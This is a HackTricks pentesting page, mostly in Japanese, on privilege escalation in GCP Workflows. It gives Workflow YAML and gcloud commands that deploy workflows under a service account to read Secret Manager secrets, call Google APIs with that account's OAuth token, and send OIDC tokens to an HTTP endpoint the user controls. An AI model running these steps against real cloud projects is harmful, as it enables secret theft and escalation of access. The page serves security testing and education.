# GCP - Workflows Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Workflows

基本情報:

{{#ref}}
../gcp-services/gcp-workflows-enum.md
{{#endref}}

### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)

私の知る限り、Workflow にアタッチされた SA の認証情報を含む metadata endpoint にアクセスできるシェルを取得することはできません。しかし、Workflow の内部で実行するアクションを追加することで、その SA の権限を悪用することは可能です。

コネクタのドキュメントは見つけることができます。例えば、これは[**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**。** サイドバーでは他のいくつかのコネクタを見つけることができます。

以下はシークレットを出力するコネクタの例です:

<details><summary>シークレットにアクセスするための Workflow YAML 構成</summary>
```yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
```
</details>

CLIからの更新:

<details><summary>CLIからWorkflowsをデプロイおよび実行</summary>
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
`ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist` のようなエラーが発生した場合は、単に**少し待ってからもう一度試してください**。

ウェブアクセスがない場合は、Workflow の実行をトリガーして実行を確認することができます:
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
</details>

> [!CAUTION]
> 以前の実行の出力を確認して機密情報を探すこともできます。

Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated.

### Leak OIDC token (and OAuth?)

According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) によると、workflow のステップで OAuth または OIDC トークンを含む HTTP リクエストを送信することが可能です。ただし、[Cloud Scheduler](gcp-cloudscheduler-privesc.md) の場合と同様に、OAuth トークンを含む HTTP リクエストはホスト `.googleapis.com` 宛である必要があります。

> [!CAUTION]
> したがって、ユーザーが制御する HTTP エンドポイントを指定することで **possible to leak the OIDC token by indicating a HTTP endpoint** が可能ですが、**OAuth** トークンを leak するにはその保護を回避する **need a bypass** が必要です。とはいえ、connectors または OAuth トークン付きの HTTP リクエストを使用して、**contact any GCP api to perform actions on behalf the SA** ことは可能です。

#### Oauth

<details><summary>Workflow HTTP request with OAuth token</summary>
```yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
</details>#### OIDC

<details><summary>Workflow の HTTP リクエスト（OIDC トークン付き）</summary>
```yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
```
</details>### `workflows.workflows.update` ...

この権限があると、`workflows.workflows.create` の代わりに既存の workflow を更新して、同様の攻撃を行うことが可能になります。

{{#include ../../../banners/hacktricks-training.md}}
